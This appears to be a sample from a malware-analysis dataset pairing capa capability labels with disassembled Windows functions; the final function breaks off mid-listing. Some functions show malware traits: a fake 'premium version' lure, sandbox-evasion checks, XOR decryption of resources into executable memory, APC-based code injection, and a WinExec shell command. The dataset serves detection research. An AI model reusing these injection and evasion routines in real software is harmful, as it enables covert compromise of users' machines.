joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400112a8
Capabilities:
Get memory capacity
Get system information on windows

Disassembly:
jmp 0x1400151b0
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rsi
push rdi
sub rsp, 0x810
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x164
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x838]
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0x7c8], rax
lea rcx, [0x1400281b3]
call fcn.1400113c5
xor r9d, r9d
lea r8, str.Click_ok_to_enjoy_free_premium_version_of_Hephaistos
lea rdx, str.Hephaistos_Pro_Version
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
lea rcx, [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [rbp + 0x48]
mov dword [rbp + 0x74], eax
cmp dword [rbp + 0x74], 2
jae 0x140015233
xor eax, eax
jmp 0x140015403
mov dword [rbp + 0xa0], 0x40
lea rcx, [rbp + 0xa0]
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
xor edx, edx
mov rax, qword [rbp + 0xa8]
mov ecx, 0x400
div rcx
xor edx, edx
mov ecx, 0x400
div rcx
mov dword [rbp + 0xf4], eax
cmp dword [rbp + 0xf4], 0x800
jae 0x14001527e
xor eax, eax
jmp 0x140015403
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 3
xor edx, edx
lea rcx, str..PhysicalDrive0
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rbp + 0x118], rax
mov qword [rsp + 0x38], 0
lea rax, [rbp + 0x164]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x18
lea rax, [rbp + 0x138]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x70000
mov rcx, qword [rbp + 0x118]
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov eax, dword [rbp + 0x144]
mov rcx, qword [rbp + 0x138]
imul rcx, rax
mov rax, rcx
mov ecx, dword [rbp + 0x148]
imul rax, rcx
mov ecx, dword [rbp + 0x14c]
imul rax, rcx
cqo
and rdx, 0x3ff
add rax, rdx
sar rax, 0xa
cqo
and rdx, 0x3ff
add rax, rdx
sar rax, 0xa
cqo
and rdx, 0x3ff
add rax, rdx
sar rax, 0xa
mov dword [rbp + 0x184], eax
cmp dword [rbp + 0x184], 0x64
jae 0x140015365
xor eax, eax
jmp 0x140015403
lea rax, [rbp + 0x1b0]
mov rdi, rax
xor eax, eax
mov ecx, 0xd8
rep stosb byte [rdi], al
lea rcx, [rbp + 0x5e8]
call fcn.140011136
lea rcx, [rbp + 0x4f0]
mov rdi, rcx
mov rsi, rax
mov ecx, 0xd8
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x1b0]
lea rcx, [rbp + 0x4f0]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xd8
rep movsb byte [rdi], byte [rsi]
cmp dword [rbp + 0x1b0], 0
jne 0x1400153ca
lea rcx, str.Didnt_found_any_injectable_process._Exiting....
call fcn.1400111c7
jmp 0x1400153fd
lea rcx, str.Found_injectable_process__injecting_it__
call fcn.1400111c7
lea rax, [rbp + 0x6e0]
lea rcx, [rbp + 0x1b0]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xd8
rep movsb byte [rdi], byte [rsi]
lea rcx, [rbp + 0x6e0]
call fcn.140014680
jmp 0x140015401
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, [0x14001e850]
call fcn.14001134d
mov rax, rdi
mov rcx, qword [rbp + 0x7c8]
xor rcx, rbp
call fcn.1400111e0
lea rsp, [rbp + 0x7d0]
pop rdi
pop rsi
pop rbp
ret
Function at 0x1400112b2
Capabilities:
Parse pe header

Disassembly:
jmp 0x140017dd0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140017df0
xor al, al
jmp 0x140017e71
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140017e03
xor al, al
jmp 0x140017e71
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x140017e2d
xor al, al
jmp 0x140017e71
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140017e41
xor al, al
jmp 0x140017e71
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140017e53
xor al, al
jmp 0x140017e71
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x140017e6f
xor al, al
jmp 0x140017e71
mov al, 1
add rsp, 0x38
ret
Function at 0x140011f20
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov byte [rsp + 8], cl
push rbp
push rdi
sub rsp, 0x128
lea rbp, [rsp + 0x20]
lea rcx, [0x14002800e]
call fcn.1400113c5
mov byte [rbp + 4], 0
jmp 0x140011f57
movzx eax, byte [rbp + 4]
inc al
mov byte [rbp + 4], al
movzx eax, byte [rbp + 4]
cmp eax, 4
jge 0x140011fdc
mov byte [rbp + 0x24], 0
jmp 0x140011f6f
movzx eax, byte [rbp + 0x24]
inc al
mov byte [rbp + 0x24], al
movzx eax, byte [rbp + 0x24]
cmp eax, 4
jge 0x140011fd7
movzx eax, byte [rbp + 4]
mov rcx, qword [rbp + 0x128]
lea rax, [rcx + rax*4]
movzx ecx, byte [rbp + 0x24]
movzx edx, byte [rbp + 0x120]
shl edx, 2
movzx r8d, byte [rbp + 4]
shl r8d, 2
lea edx, [r8 + rdx*4]
movzx r8d, byte [rbp + 0x24]
add edx, r8d
movsxd rdx, edx
mov r8, qword [rbp + 0x130]
movzx edx, byte [r8 + rdx]
movzx eax, byte [rax + rcx]
xor eax, edx
movzx ecx, byte [rbp + 0x24]
movzx edx, byte [rbp + 4]
mov r8, qword [rbp + 0x128]
lea rdx, [r8 + rdx*4]
mov byte [rdx + rcx], al
jmp 0x140011f66
jmp 0x140011f4e
lea rsp, [rbp + 0x108]
pop rdi
pop rbp
ret

Function at 0x140013670
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x128
lea rbp, [rsp + 0x20]
lea rcx, [0x14002800e]
call fcn.1400113c5
mov byte [rbp + 4], 0
jmp 0x14001369e
movzx eax, byte [rbp + 4]
inc al
mov byte [rbp + 4], al
movzx eax, byte [rbp + 4]
cmp eax, 4
jge 0x1400136fd
mov byte [rbp + 0x24], 0
jmp 0x1400136b6
movzx eax, byte [rbp + 0x24]
inc al
mov byte [rbp + 0x24], al
movzx eax, byte [rbp + 0x24]
cmp eax, 4
jge 0x1400136fb
movzx eax, byte [rbp + 0x24]
mov rcx, qword [rbp + 0x120]
lea rax, [rcx + rax*4]
movzx ecx, byte [rbp + 4]
movzx eax, byte [rax + rcx]
lea rcx, [0x14001dcb0]
movzx edx, byte [rbp + 0x24]
mov r8, qword [rbp + 0x120]
lea rdx, [r8 + rdx*4]
movzx r8d, byte [rbp + 4]
movzx eax, byte [rcx + rax]
mov byte [rdx + r8], al
jmp 0x1400136ad
jmp 0x140013695
lea rsp, [rbp + 0x108]
pop rdi
pop rbp
ret
Function at 0x100015f7
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [section..data]
jne 0x1000105a
rol rcx, 0x10
test cx, 0xffff
jne 0x10001056
repz ret
ror rcx, 0x10
jmp 0x10001550
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x1004d480]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x1004d578]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x100015d5
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x1004d480]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x100015f7
mov rax, qword [rsp + 0x88]
mov qword [0x1004d578], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x1004d518], rax
mov rax, qword [0x1004d578]
mov qword [0x1004d3f0], rax
mov rax, qword [rsp + 0x90]
mov qword [0x1004d500], rax
mov dword [0x1004d3e0], 0xc0000409
mov dword [0x1004d3e4], 1
mov rax, qword [section..data]
mov qword [rsp + 0x68], rax
mov rax, qword [0x1004c008]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x1004d478], eax
mov ecx, 1
call fcn.10003400
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x10027388]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x1004d478], 0
jne 0x1000167e
mov ecx, 1
call fcn.10003400
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x10005b10
Capabilities:
Link many functions at runtime

Disassembly:
mov rax, rsp
sub rsp, 0x68
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov qword [rax - 8], r12
mov qword [rax - 0x10], r13
mov r13, rcx
mov edi, r8d
mov r12, rdx
call fcn.10001b30
xor ebx, ebx
cmp qword [0x1004e0d8], rbx
mov rsi, rax
mov dword [rsp + 0x30], ebx
mov dword [rsp + 0x34], ebx
jne 0x10005c41
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
mov rbp, rax
jne 0x10005b73
xor eax, eax
jmp 0x10005d21
lea rdx, str.MessageBoxA
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x10005b6c
mov rcx, rax
call fcn.10001ac0
lea rdx, str.GetActiveWindow
mov rcx, rbp
mov qword [0x1004e0d8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call fcn.10001ac0
lea rdx, str.GetLastActivePopup
mov rcx, rbp
mov qword [0x1004e0e0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call fcn.10001ac0
lea rcx, [rsp + 0x30]
mov qword [0x1004e0e8], rax
call fcn.10001780
test eax, eax
je 0x10005bf7
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rbx
call fcn.10003a20
cmp dword [rsp + 0x30], 2
jne 0x10005c41
lea rdx, str.GetUserObjectInformationA
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call fcn.10001ac0
test rax, rax
mov qword [0x1004e0f8], rax
je 0x10005c41
lea rdx, str.GetProcessWindowStation
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call fcn.10001ac0
mov qword [0x1004e0f0], rax
mov rcx, qword [0x1004e0f0]
cmp rcx, rsi
je 0x10005cd3
cmp qword [0x1004e0f8], rsi
je 0x10005cd3
call fcn.10001b90
call rax
test rax, rax
mov rbp, rax
je 0x10005c9e
mov rcx, qword [0x1004e0f8]
call fcn.10001b90
lea rcx, [rsp + 0x38]
mov r9d, 0xc
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
lea r8, [rsp + 0x40]
mov rcx, rbp
call rax
test eax, eax
je 0x10005c9e
test byte [rsp + 0x48], 1
jne 0x10005cd3
lea rcx, [rsp + 0x34]
call fcn.100017d0
test eax, eax
je 0x10005cc0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rbx
call fcn.10003a20
cmp dword [rsp + 0x34], 4
jb 0x10005ccd
bts edi, 0x15
jmp 0x10005d07
bts edi, 0x12
jmp 0x10005d07
mov rcx, qword [0x1004e0e0]
cmp rcx, rsi
je 0x10005d07
call fcn.10001b90
call rax
test rax, rax
mov rbx, rax
je 0x10005d07
mov rcx, qword [0x1004e0e8]
cmp rcx, rsi
je 0x10005d07
call fcn.10001b90
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x1004e0d8]
call fcn.10001b90
mov r9d, edi
mov r8, r12
mov rdx, r13
mov rcx, rbx
call rax
mov r13, qword [rsp + 0x58]
mov r12, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x88]
mov rsi, qword [rsp + 0x80]
mov rbp, qword [rsp + 0x78]
mov rbx, qword [rsp + 0x70]
add rsp, 0x68
ret
Function at 0x100082d0
Capabilities:
Allocate or change rwx memory
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
sub rsp, 0x348
mov qword [rsp + 0x328], 0
lea rax, [0x100284a8]
mov qword [rsp + 0x300], rax
mov qword [rsp + 0x2f8], 0
mov qword [rsp + 0x2f0], 0
mov qword [rsp + 0x320], 0
mov qword [rsp + 0x308], 0
lea rax, [0x100284c8]
mov qword [rsp + 0x30], rax
movsxd rax, dword [rsp + 0x350]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], 0x409
lea r9, [rsp + 0x310]
mov r8d, 3
lea rdx, [rsp + 0x30]
lea rcx, [0x10000000]
call sub.ntdll.dll_LdrFindResource_U
mov dword [rsp + 0x318], eax
lea r9, [rsp + 0x308]
lea r8, [rsp + 0x320]
mov rdx, qword [rsp + 0x310]
lea rcx, [0x10000000]
call sub.ntdll.dll_LdrAccessResource
mov dword [rsp + 0x318], eax
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x3000
lea r9, [rsp + 0x308]
xor r8d, r8d
lea rdx, [rsp + 0x328]
mov rcx, 0xffffffffffffffff
call sub.ntdll.dll_NtAllocateVirtualMemory
mov dword [rsp + 0x330], 0
jmp 0x100083eb
mov eax, dword [rsp + 0x330]
add eax, 1
mov dword [rsp + 0x330], eax
movsxd rax, dword [rsp + 0x330]
cmp rax, qword [rsp + 0x308]
jae 0x10008458
movsxd rax, dword [rsp + 0x330]
mov rcx, qword [rsp + 0x320]
movzx eax, byte [rcx + rax]
mov dword [rsp + 0x334], eax
mov eax, dword [rsp + 0x330]
cdq
and edx, 0x1f
add eax, edx
and eax, 0x1f
sub eax, edx
cdqe
mov rcx, qword [rsp + 0x300]
movzx eax, byte [rcx + rax]
mov ecx, dword [rsp + 0x334]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0x330]
mov rdx, qword [rsp + 0x328]
mov byte [rdx + rcx], al
jmp 0x100083da
mov rax, qword [rsp + 0x358]
mov rcx, qword [rsp + 0x328]
mov qword [rax], rcx
add rsp, 0x348
ret

Function at 0x1001bde0
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x68
mov eax, dword [rsp + 0x78]
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 1
je 0x1001be06
jmp 0x1001bf06
mov dword [rsp + 0x34], 0xba8
mov dword [rsp + 0x30], 0xed3
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
call fcn.10008480
test eax, eax
je 0x1001be3c
mov ecx, 0xffffa883
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [0x1004d0ac], 0
mov dword [0x1004d0b0], 0
mov dword [0x1004d0b4], 0
mov dword [0x1004d0bc], 0
mov dword [0x1004d0b8], 0
mov dword [0x1004d0c0], 0
mov dword [0x1004e1f0], 0x16bb283b
lea rdx, [rsp + 0x38]
mov ecx, dword [rsp + 0x34]
call fcn.100082d0
lea rdx, [rsp + 0x40]
mov ecx, dword [rsp + 0x30]
call fcn.100082d0
mov r8d, 0x20
xor edx, edx
lea rcx, [0x1004e1d0]
call fcn.10001070
mov rax, qword [rsp + 0x70]
mov qword [0x1004e1d0], rax
mov dword [0x1004e1d8], 1
mov rax, qword [rsp + 0x40]
mov qword [0x1004e1e0], rax
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x1004e1d0]
mov rdx, qword [rsp + 0x48]
mov rcx, 0xfffffffffffffffe
call sub.ntdll.dll_NtQueueApcThread
call sub.ntdll.dll_NtTestAlert
mov eax, 1
add rsp, 0x68
ret
Function at 0x180003ab7
Capabilities:
Set thread local storage value

Disassembly:
jmp 0x180023180
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
sub rsp, 0x48
call fcn.180022ad0
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x1800231c9
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x58]
mov ecx, dword [rsp + 0x50]
mov rax, qword [rsp + 0x30]
call qword [0x180112020]
jmp 0x1800231d8
mov rdx, qword [rsp + 0x58]
mov ecx, dword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
add rsp, 0x48
ret

Function at 0x180007390
Capabilities:
Create process on windows

Disassembly:
jmp 0x180007390
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x30
lea rcx, [0x180111001]
call fcn.180003d19
mov eax, dword [rsp + 0x48]
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0
je 0x1800073f0
cmp dword [rsp + 0x20], 1
je 0x1800073c7
jmp 0x1800073fa
xor edx, edx
lea rcx, str.cmd.exe__C__AUtlttdGKdrU_
call qword [sym.imp.KERNEL32.dll_WinExec]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
mov rcx, qword [rsp + 0x40]
call fcn.180002db0
movzx eax, al
jmp 0x1800073ff
mov rcx, qword [rsp + 0x50]
call fcn.1800038aa
mov eax, 1
add rsp, 0x30
pop rdi
ret
Function at 0x180007910
Capabilities:
Parse pe header

Disassembly:
jmp 0x180007910
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x30
lea rcx, [0x18011100a]
call fcn.180003d19
mov rax, qword [rsp + 0x40]
mov qword [0x1801032d0], rax
mov rax, qword [0x1801032d0]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x180007947
xor al, al
jmp 0x1800079b0
mov rax, qword [0x1801032d0]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [0x1801032d0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
cmp dword [rax], 0x4550
jne 0x180007981
mov rax, qword [rsp + 0x20]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x180007985
xor al, al
jmp 0x1800079b0
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rsp + 0x20]
mov eax, dword [rcx + rax + 0x88]
mov rcx, qword [0x1801032d0]
add rcx, rax
mov rax, rcx
mov qword [0x1801032d8], rax
mov al, 1
add rsp, 0x30
pop rdi
ret

Function at 0x1423dade4
Capabilities:
Encode data using xor

Disassembly:
jmp 0x1423dadee
push rax
push rcx
push rdx
push rbx
push rbp
push rsi
push rdi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
pushfq
sub rsp, 8
stmxcsr dword [rsp]
call 0x1423dae17
pop rbp
sub rbp, 0x33
sub rbp, 0x23dade4
sub rsp, 0x20
jmp 0x1423dae36
mov rax, 0x23dade4
add rax, rbp
add rax, 0x84
mov rcx, 0x60b
mov rdx, 0x1d9a41f4
xor byte [rax], dl
inc rax
dec rcx
jne 0x1423dae55
jmp 0x1423dae6c
mov esp, 0x7d7f1d7d
enter 0xfffffffffffff4f4, 0xfffffffffffffff4
mov esp, 0xf5fc3575
hlt
Function at 0x140003160
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov r11d, r8d
mov r10, rdx
not r11d
mov r9, rcx
mov eax, r11d
test rdx, rdx
je 0x1400031bd
lea rbx, [0x140061bb0]
movzx r8d, byte [r9]
lea r9, [r9 + 1]
dec r10
cmp r8b, 0x23
jne 0x1400031a4
cmp r10, 2
jb 0x1400031a4
cmp byte [r9], r8b
jne 0x1400031a4
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
xor rdx, r8
shr eax, 8
xor eax, dword [rbx + rdx*4]
test r10, r10
jne 0x140003180
not eax
mov rbx, qword [rsp + 8]
ret
movzx r8d, byte [rcx]
inc r9
test r8b, r8b
je 0x1400031ff
lea rbx, [0x140061bb0]
cmp r8b, 0x23
jne 0x1400031e3
cmp byte [r9], r8b
jne 0x1400031e3
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
movzx ecx, r8b
movzx r8d, byte [r9]
xor rdx, rcx
shr eax, 8
inc r9
xor eax, dword [rbx + rdx*4]
test r8b, r8b
jne 0x1400031d0
mov rbx, qword [rsp + 8]
not eax
ret

Function at 0x140003360
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push r14
sub rsp, 0x20
mov r14, r8
test r8, r8
je 0x14000337a
mov qword [r8], 0
lea rdx, [0x140061710]
call fcn.140003210
mov rbx, rax
test rax, rax
jne 0x14000339a
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
mov qword [rsp + 0x30], rsi
mov rcx, rbx
mov qword [rsp + 0x38], rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
mov esi, eax
cmp eax, 0xffffffff
je 0x140003485
xor edx, edx
mov rcx, rbx
lea r8d, [rdx + 2]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x140003485
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
movsxd rdi, eax
cmp edi, 0xffffffff
je 0x140003485
xor r8d, r8d
mov edx, esi
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x140003485
cmp rdi, 0xffffffffffffffff
je 0x140003485
mov rax, qword [0x140078130]
test rax, rax
je 0x140003416
inc dword [rax + 0xf4]
mov rdx, qword [0x140078120]
mov rcx, rdi
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
mov rsi, rax
test rax, rax
je 0x140003485
mov r9, rbx
mov r8, rdi
mov edx, 1
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov rcx, rbx
cmp rax, rdi
je 0x140003472
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rax, qword [0x140078130]
test rax, rax
je 0x140003461
dec dword [rax + 0xf4]
mov rdx, qword [0x140078120]
mov rcx, rsi
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
jmp 0x14000348e
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
test r14, r14
je 0x140003480
mov qword [r14], rdi
mov rax, rsi
jmp 0x140003490
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
xor eax, eax
mov rsi, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
Function at 0x1400067b0
Capabilities:
Hash data with crc32

Disassembly:
push rbx
sub rsp, 0x20
movsxd r8, dword [rcx + 0xf0]
lea r11, [0x140061bb0]
mov rax, qword [rcx + 0xf8]
mov r9, rcx
movsxd r10, edx
mov ebx, dword [rax + r8*4 - 4]
not ebx
movzx eax, r10b
movzx r8d, bl
shr ebx, 8
xor r8, rax
mov eax, r10d
shr eax, 8
movzx edx, al
mov eax, r10d
xor ebx, dword [r11 + r8*4]
movzx ecx, bl
xor rdx, rcx
shr ebx, 8
shr eax, 0x10
xor ebx, dword [r11 + rdx*4]
movzx ecx, bl
shr ebx, 8
movzx edx, al
xor rdx, rcx
xor ebx, dword [r11 + rdx*4]
movzx ecx, bl
shr ebx, 8
mov edx, r10d
shr rdx, 0x18
xor rdx, rcx
mov rcx, qword [r9]
xor ebx, dword [r11 + rdx*4]
not ebx
cmp dword [rcx + 0x3f18], ebx
jne 0x140006846
mov r8, r10
mov edx, 4
mov ecx, ebx
call fcn.14001a740
mov eax, ebx
add rsp, 0x20
pop rbx
ret

Function at 0x140006850
Capabilities:
Hash data with crc32

Disassembly:
sub rsp, 0x18
mov rax, qword [rcx + 0xf8]
lea r9, [0x140061bb0]
movss xmm2, dword [rcx + 0x110]
movss xmm3, dword [rcx + 0x114]
movsxd rcx, dword [rcx + 0xf0]
movss xmm0, dword [rdx]
movss xmm1, dword [rdx + 4]
subss xmm0, xmm2
subss xmm1, xmm3
mov r8d, dword [rax + rcx*4 - 4]
not r8d
movzx ecx, r8b
shr r8d, 8
movss dword [rsp], xmm0
movzx eax, byte [rsp]
xor rcx, rax
movss xmm0, dword [rdx + 8]
movzx eax, byte [rsp + 1]
subss xmm0, xmm2
movss dword [rsp + 4], xmm1
movss xmm1, dword [rdx + 0xc]
xor r8d, dword [r9 + rcx*4]
subss xmm1, xmm3
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 2]
movss dword [rsp + 8], xmm0
movss dword [rsp + 0xc], xmm1
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 3]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 4]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 5]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 6]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 7]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 8]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 9]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 0xa]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 0xb]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 0xc]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 0xd]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 0xe]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
xor r8d, dword [r9 + rcx*4]
movzx ecx, byte [rsp + 0xf]
movzx edx, r8b
shr r8d, 8
xor rdx, rcx
xor r8d, dword [r9 + rdx*4]
not r8d
mov eax, r8d
add rsp, 0x18
ret
Function at 0x140013910
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rax, qword [0x140071010]
xor rax, rsp
mov qword [rsp + 0x30], rax
mov rbx, qword [0x140078130]
mov edi, ecx
cmp byte [rbx + 0x4a75], 0
jne 0x140013971
cmp byte [rbx + 0x4a76], 0
jne 0x140013971
movsx r9d, word [rbx + 0x5b9a]
lea r8, str.Tooltip__02d
mov edx, 0x10
lea rcx, [rsp + 0x20]
call fcn.140002fb0
test dil, 1
je 0x140013a9f
jmp 0x1400139fa
movss xmm1, dword [rbx + 0x389c]
lea r8, str.Tooltip__02d
movsx r9d, word [rbx + 0x5b9a]
lea rcx, [rsp + 0x20]
movaps xmm0, xmm1
xor eax, eax
mulss xmm0, dword [0x140067c20]
mulss xmm1, dword [0x140067c04]
lea edx, [rax + 0x10]
addss xmm0, dword [rbx + 0xe08]
addss xmm1, dword [rbx + 0xe0c]
mov qword [rbx + 0x47c0], rax
mov dword [rbx + 0x47ac], 1
movss dword [rbx + 0x47b8], xmm0
movss dword [rbx + 0x47bc], xmm1
movss xmm0, dword [rbx + 0x38f8]
mulss xmm0, dword [0x140067a64]
or dword [rbx + 0x47a8], 0x41
movss dword [rbx + 0x4808], xmm0
call fcn.140002fb0
movzx r9d, byte [rsp + 0x20]
lea r8, [rsp + 0x21]
mov r10d, 0xffffffff
mov ecx, r10d
test r9b, r9b
je 0x140013a50
lea r11, [0x140061bb0]
